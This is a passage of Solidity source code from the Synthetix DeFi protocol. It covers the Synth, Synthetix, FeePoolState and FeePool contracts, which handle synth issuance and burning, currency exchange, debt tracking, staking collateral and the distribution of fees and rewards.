uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
}
interface ISynthetixEscrow {
function balanceOf(address account) public view returns (uint);
function appendVestingEntry(address account, uint quantity) public;
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
IFeePool public feePool;
ISynthetixEscrow public escrow;
ISynthetixEscrow public rewardEscrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
SupplySchedule public supplySchedule;
uint constant SYNTHETIX_SUPPLY = 1e8 * SafeDecimalMath.unit();
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule,
ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, SYNTHETIX_SUPPLY, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
supplySchedule = _supplySchedule;
rewardEscrow = _rewardEscrow;
escrow = _escrow;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(exchangeRates.rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(exchangeRates.rateForCurrency(destinationCurrencyKey));
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
internal
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress == address(0) ? messageSender : destinationAddress,
true
);
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
feePool.feePaid("XDR", xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
_appendAccountIssuanceRecord();
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint debt = debtBalanceOf(messageSender, "XDR");
uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToRemove = debt < debtToRemove ? debt : debtToRemove;
_removeFromDebtRegister(amountToRemove);
uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;
synths[currencyKey].burn(messageSender, amountToBurn);
_appendAccountIssuanceRecord();
}
function _appendAccountIssuanceRecord()
internal
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender);
feePool.appendAccountIssuanceRecord(
messageSender,
initialDebtOwnership,
debtEntryIndex
);
}
function _removeFromDebtRegister(uint amount)
internal
{
uint debtToRemove = amount;
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint delta;
if (newTotalDebtIssued > 0) {
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued);
delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
} else {
delta = 0;
}
if (debtToRemove == existingDebt) {
synthetixState.clearIssuanceData(messageSender);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
if (rewardEscrow != address(0)) {
balance = balance.add(rewardEscrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
function mint()
external
returns (bool)
{
require(rewardEscrow != address(0), "Reward Escrow destination missing");
uint supplyToMint = supplySchedule.mintableSupply();
require(supplyToMint > 0, "No supply is mintable");
supplySchedule.updateMintValues();
uint minterReward = supplySchedule.minterReward();
tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward)));
emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward));
feePool.rewardsMinted(supplyToMint.sub(minterReward));
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(this, msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
}
contract FeePoolState is SelfDestructible, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
uint8 constant public FEE_PERIOD_LENGTH = 6;
address public feePool;
struct IssuanceData {
uint debtPercentage;
uint debtEntryIndex;
}
mapping(address => IssuanceData[FEE_PERIOD_LENGTH]) public accountIssuanceLedger;
constructor(address _owner, IFeePool _feePool)
SelfDestructible(_owner)
LimitedSetup(6 weeks)
public
{
feePool = _feePool;
}
function setFeePool(IFeePool _feePool)
external
onlyOwner
{
feePool = _feePool;
}
function getAccountsDebtEntry(address account, uint index)
public
view
returns (uint debtPercentage, uint debtEntryIndex)
{
require(index < FEE_PERIOD_LENGTH, "index exceeds the FEE_PERIOD_LENGTH");
debtPercentage = accountIssuanceLedger[account][index].debtPercentage;
debtEntryIndex = accountIssuanceLedger[account][index].debtEntryIndex;
}
function applicableIssuanceData(address account, uint closingDebtIndex)
external
view
returns (uint, uint)
{
IssuanceData[FEE_PERIOD_LENGTH] memory issuanceData = accountIssuanceLedger[account];
for (uint i = 0; i < FEE_PERIOD_LENGTH; i++) {
if (closingDebtIndex >= issuanceData[i].debtEntryIndex) {
return (issuanceData[i].debtPercentage, issuanceData[i].debtEntryIndex);
}
}
}
function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex, uint currentPeriodStartDebtIndex)
external
onlyFeePool
{
if (accountIssuanceLedger[account][0].debtEntryIndex < currentPeriodStartDebtIndex) {
issuanceDataIndexOrder(account);
}
accountIssuanceLedger[account][0].debtPercentage = debtRatio;
accountIssuanceLedger[account][0].debtEntryIndex = debtEntryIndex;
}
function issuanceDataIndexOrder(address account)
private
{
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
accountIssuanceLedger[account][next].debtPercentage = accountIssuanceLedger[account][i].debtPercentage;
accountIssuanceLedger[account][next].debtEntryIndex = accountIssuanceLedger[account][i].debtEntryIndex;
}
}
function importIssuerData(address[] accounts, uint[] ratios, uint periodToInsert, uint feePeriodCloseIndex)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == ratios.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
accountIssuanceLedger[accounts[i]][periodToInsert].debtPercentage = ratios[i];
accountIssuanceLedger[accounts[i]][periodToInsert].debtEntryIndex = feePeriodCloseIndex;
emit IssuanceDebtRatioEntry(accounts[i], ratios[i], feePeriodCloseIndex);
}
}
modifier onlyFeePool
{
require(msg.sender == address(feePool), "Only the FeePool contract can perform this action");
_;
}
event IssuanceDebtRatioEntry(address indexed account, uint debtRatio, uint feePeriodCloseIndex);
}
contract FeePool is Proxyable, SelfDestructible, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
Synthetix public synthetix;
ISynthetixState public synthetixState;
ISynthetixEscrow public rewardEscrow;
uint public transferFeeRate;
uint constant public MAX_TRANSFER_FEE_RATE = SafeDecimalMath.unit() / 10;
uint public exchangeFeeRate;
uint constant public MAX_EXCHANGE_FEE_RATE = SafeDecimalMath.unit() / 10;
address public feeAuthority;
FeePoolState public feePoolState;
address public constant FEE_ADDRESS = 0xfeEFEEfeefEeFeefEEFEEfEeFeefEEFeeFEEFEeF;
struct FeePeriod {
uint feePeriodId;
uint startingDebtIndex;
uint startTime;
uint feesToDistribute;
uint feesClaimed;
uint rewardsToDistribute;
uint rewardsClaimed;
}
uint8 constant public FEE_PERIOD_LENGTH = 6;
FeePeriod[FEE_PERIOD_LENGTH] public recentFeePeriods;
uint public nextFeePeriodId;
uint public feePeriodDuration = 1 weeks;
uint public constant MIN_FEE_PERIOD_DURATION = 1 days;
uint public constant MAX_FEE_PERIOD_DURATION = 60 days;
mapping(address => uint) public lastFeeWithdrawal;
uint constant TWENTY_PERCENT = (20 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_TWO_PERCENT = (22 * SafeDecimalMath.unit()) / 100;
uint constant TWENTY_FIVE_PERCENT = (25 * SafeDecimalMath.unit()) / 100;
uint constant THIRTY_PERCENT = (30 * SafeDecimalMath.unit()) / 100;
uint constant FOURTY_PERCENT = (40 * SafeDecimalMath.unit()) / 100;
uint constant FIFTY_PERCENT = (50 * SafeDecimalMath.unit()) / 100;
uint constant SEVENTY_FIVE_PERCENT = (75 * SafeDecimalMath.unit()) / 100;
uint constant NINETY_PERCENT = (90 * SafeDecimalMath.unit()) / 100;
uint constant ONE_HUNDRED_PERCENT = (100 * SafeDecimalMath.unit()) / 100;
constructor(
address _proxy,
address _owner,
Synthetix _synthetix,
FeePoolState _feePoolState,
ISynthetixState _synthetixState,
ISynthetixEscrow _rewardEscrow,
address _feeAuthority,
uint _transferFeeRate,
uint _exchangeFeeRate)
SelfDestructible(_owner)
Proxyable(_proxy, _owner)
LimitedSetup(3 weeks)
public
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Constructed transfer fee rate should respect the maximum fee rate");
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Constructed exchange fee rate should respect the maximum fee rate");
synthetix = _synthetix;
feePoolState = _feePoolState;
rewardEscrow = _rewardEscrow;
synthetixState = _synthetixState;
feeAuthority = _feeAuthority;
transferFeeRate = _transferFeeRate;
exchangeFeeRate = _exchangeFeeRate;
recentFeePeriods[0].feePeriodId = 1;
recentFeePeriods[0].startTime = now;
nextFeePeriodId = 2;
}
function appendAccountIssuanceRecord(address account, uint debtRatio, uint debtEntryIndex)
external
onlySynthetix
{
feePoolState.appendAccountIssuanceRecord(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex);
emitIssuanceDebtRatioEntry(account, debtRatio, debtEntryIndex, recentFeePeriods[0].startingDebtIndex);
}
function setExchangeFeeRate(uint _exchangeFeeRate)
external
optionalProxy_onlyOwner
{
require(_exchangeFeeRate <= MAX_EXCHANGE_FEE_RATE, "Exchange fee rate must be below MAX_EXCHANGE_FEE_RATE");
exchangeFeeRate = _exchangeFeeRate;
emitExchangeFeeUpdated(_exchangeFeeRate);
}
function setTransferFeeRate(uint _transferFeeRate)
external
optionalProxy_onlyOwner
{
require(_transferFeeRate <= MAX_TRANSFER_FEE_RATE, "Transfer fee rate must be below MAX_TRANSFER_FEE_RATE");
transferFeeRate = _transferFeeRate;
emitTransferFeeUpdated(_transferFeeRate);
}
function setFeeAuthority(address _feeAuthority)
external
optionalProxy_onlyOwner
{
feeAuthority = _feeAuthority;
emitFeeAuthorityUpdated(_feeAuthority);
}
function setFeePoolState(FeePoolState _feePoolState)
external
optionalProxy_onlyOwner
{
feePoolState = _feePoolState;
emitFeePoolStateUpdated(_feePoolState);
}
function setFeePeriodDuration(uint _feePeriodDuration)
external
optionalProxy_onlyOwner
{
require(_feePeriodDuration >= MIN_FEE_PERIOD_DURATION, "New fee period cannot be less than minimum fee period duration");
require(_feePeriodDuration <= MAX_FEE_PERIOD_DURATION, "New fee period cannot be greater than maximum fee period duration");
feePeriodDuration = _feePeriodDuration;
emitFeePeriodDurationUpdated(_feePeriodDuration);
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
require(address(_synthetix) != address(0), "New Synthetix must be non-zero");
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function feePaid(bytes4 currencyKey, uint amount)
external
onlySynthetix
{
uint xdrAmount;
if (currencyKey != "XDR") {
xdrAmount = synthetix.effectiveValue(currencyKey, amount, "XDR");
} else {
xdrAmount = amount;
}
recentFeePeriods[0].feesToDistribute = recentFeePeriods[0].feesToDistribute.add(xdrAmount);
}
function rewardsMinted(uint amount)
external
onlySynthetix
{
recentFeePeriods[0].rewardsToDistribute = recentFeePeriods[0].rewardsToDistribute.add(amount);
}
function closeCurrentFeePeriod()
external
onlyFeeAuthority
{
require(recentFeePeriods[0].startTime <= (now - feePeriodDuration), "It is too early to close the current fee period");
FeePeriod memory secondLastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 2];
FeePeriod memory lastFeePeriod = recentFeePeriods[FEE_PERIOD_LENGTH - 1];
recentFeePeriods[FEE_PERIOD_LENGTH - 2].feesToDistribute = lastFeePeriod.feesToDistribute
.sub(lastFeePeriod.feesClaimed)
.add(secondLastFeePeriod.feesToDistribute);
for (uint i = FEE_PERIOD_LENGTH - 2; i < FEE_PERIOD_LENGTH; i--) {
uint next = i + 1;
recentFeePeriods[next].feePeriodId = recentFeePeriods[i].feePeriodId;
recentFeePeriods[next].startingDebtIndex = recentFeePeriods[i].startingDebtIndex;
recentFeePeriods[next].startTime = recentFeePeriods[i].startTime;
recentFeePeriods[next].feesToDistribute = recentFeePeriods[i].feesToDistribute;
recentFeePeriods[next].feesClaimed = recentFeePeriods[i].feesClaimed;
recentFeePeriods[next].rewardsToDistribute = recentFeePeriods[i].rewardsToDistribute;
recentFeePeriods[next].rewardsClaimed = recentFeePeriods[i].rewardsClaimed;
}
delete recentFeePeriods[0];
recentFeePeriods[0].feePeriodId = nextFeePeriodId;
recentFeePeriods[0].startingDebtIndex = synthetixState.debtLedgerLength();
recentFeePeriods[0].startTime = now;
nextFeePeriodId = nextFeePeriodId.add(1);
emitFeePeriodClosed(recentFeePeriods[1].feePeriodId);
}
function claimFees(bytes4 currencyKey)
external
optionalProxy
returns (bool)
{
uint availableFees;
uint availableRewards;
(availableFees, availableRewards) = feesAvailable(messageSender, "XDR");
require(availableFees > 0 || availableRewards > 0, "No fees or rewards available for period, or fees already claimed");
lastFeeWithdrawal[messageSender] = recentFeePeriods[1].feePeriodId;
if (availableFees > 0) {
uint feesPaid = _recordFeePayment(availableFees);
_payFees(messageSender, feesPaid, currencyKey);
emitFeesClaimed(messageSender, feesPaid);
}
if (availableRewards > 0) {
uint rewardPaid = _recordRewardPayment(availableRewards);
_payRewards(messageSender, rewardPaid);
emitRewardsClaimed(messageSender, rewardPaid);
}
return true;
}
function importFeePeriod(
uint feePeriodIndex, uint feePeriodId, uint startingDebtIndex, uint startTime,
uint feesToDistribute, uint feesClaimed, uint rewardsToDistribute, uint rewardsClaimed)
public
optionalProxy_onlyOwner
onlyDuringSetup
{
recentFeePeriods[feePeriodIndex].feePeriodId = feePeriodId;
recentFeePeriods[feePeriodIndex].startingDebtIndex = startingDebtIndex;
recentFeePeriods[feePeriodIndex].startTime = startTime;
recentFeePeriods[feePeriodIndex].feesToDistribute = feesToDistribute;
recentFeePeriods[feePeriodIndex].feesClaimed = feesClaimed;
recentFeePeriods[feePeriodIndex].rewardsToDistribute = rewardsToDistribute;
recentFeePeriods[feePeriodIndex].rewardsClaimed = rewardsClaimed;
}
function _recordFeePayment(uint xdrAmount)
internal
returns (uint)
{
uint remainingToAllocate = xdrAmount;
uint feesPaid;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint delta = recentFeePeriods[i].feesToDistribute.sub(recentFeePeriods[i].feesClaimed);
if (delta > 0) {
uint amountInPeriod = delta < remainingToAllocate ? delta : remainingToAllocate;
recentFeePeriods[i].feesClaimed = recentFeePeriods[i].feesClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
feesPaid = feesPaid.add(amountInPeriod);
if (remainingToAllocate == 0) return feesPaid;
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return feesPaid;
}
function _recordRewardPayment(uint snxAmount)
internal
returns (uint)
{
uint remainingToAllocate = snxAmount;
uint rewardPaid;
for (uint i = FEE_PERIOD_LENGTH - 1; i < FEE_PERIOD_LENGTH; i--) {
uint toDistribute = recentFeePeriods[i].rewardsToDistribute.sub(recentFeePeriods[i].rewardsClaimed);
if (toDistribute > 0) {
uint amountInPeriod = toDistribute < remainingToAllocate ? toDistribute : remainingToAllocate;
recentFeePeriods[i].rewardsClaimed = recentFeePeriods[i].rewardsClaimed.add(amountInPeriod);
remainingToAllocate = remainingToAllocate.sub(amountInPeriod);
rewardPaid = rewardPaid.add(amountInPeriod);
if (remainingToAllocate == 0) return rewardPaid;
if (i == 0 && remainingToAllocate > 0) {
remainingToAllocate = 0;
}
}
}
return rewardPaid;
}
function _payFees(address account, uint xdrAmount, bytes4 destinationCurrencyKey)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send fees to fee pool");
require(account != address(proxy), "Can't send fees to proxy");
require(account != address(synthetix), "Can't send fees to synthetix");
Synth xdrSynth = synthetix.synths("XDR");
Synth destinationSynth = synthetix.synths(destinationCurrencyKey);
xdrSynth.burn(FEE_ADDRESS, xdrAmount);
uint destinationAmount = synthetix.effectiveValue("XDR", xdrAmount, destinationCurrencyKey);
destinationSynth.issue(account, destinationAmount);
destinationSynth.triggerTokenFallbackIfNeeded(FEE_ADDRESS, account, destinationAmount);
}
function _payRewards(address account, uint snxAmount)
internal
notFeeAddress(account)
{
require(account != address(0), "Account can't be 0");
require(account != address(this), "Can't send rewards to fee pool");
require(account != address(proxy), "Can't send rewards to proxy");
require(account != address(synthetix), "Can't send rewards to synthetix");
rewardEscrow.appendVestingEntry(account, snxAmount);
}
function transferFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(transferFeeRate);
}
function transferredAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(transferFeeIncurred(value));
}
function amountReceivedFromTransfer(uint value)
external
view
returns (uint)
{
return value.divideDecimal(transferFeeRate.add(SafeDecimalMath.unit()));
}
function exchangeFeeIncurred(uint value)
public
view
returns (uint)
{
return value.multiplyDecimal(exchangeFeeRate);
}
function exchangedAmountToReceive(uint value)
external
view
returns (uint)
{
return value.add(exchangeFeeIncurred(value));
}
function amountReceivedFromExchange(uint value)
external
view
returns (uint)
{
return value.multiplyDecimal(SafeDecimalMath.unit().sub(exchangeFeeRate));
}
function totalFeesAvailable(bytes4 currencyKey)
external
view
returns (uint)
{
uint totalFees = 0;
for (uint i = 1; i < FEE_PERIOD_LENGTH; i++) {
totalFees = totalFees.add(recentFeePeriods[i].feesToDistribute);
totalFees = totalFees.sub(recentFeePeriods[i].feesClaimed);
}
return synthetix.effectiveValue("XDR", totalFees, currencyKey);
}
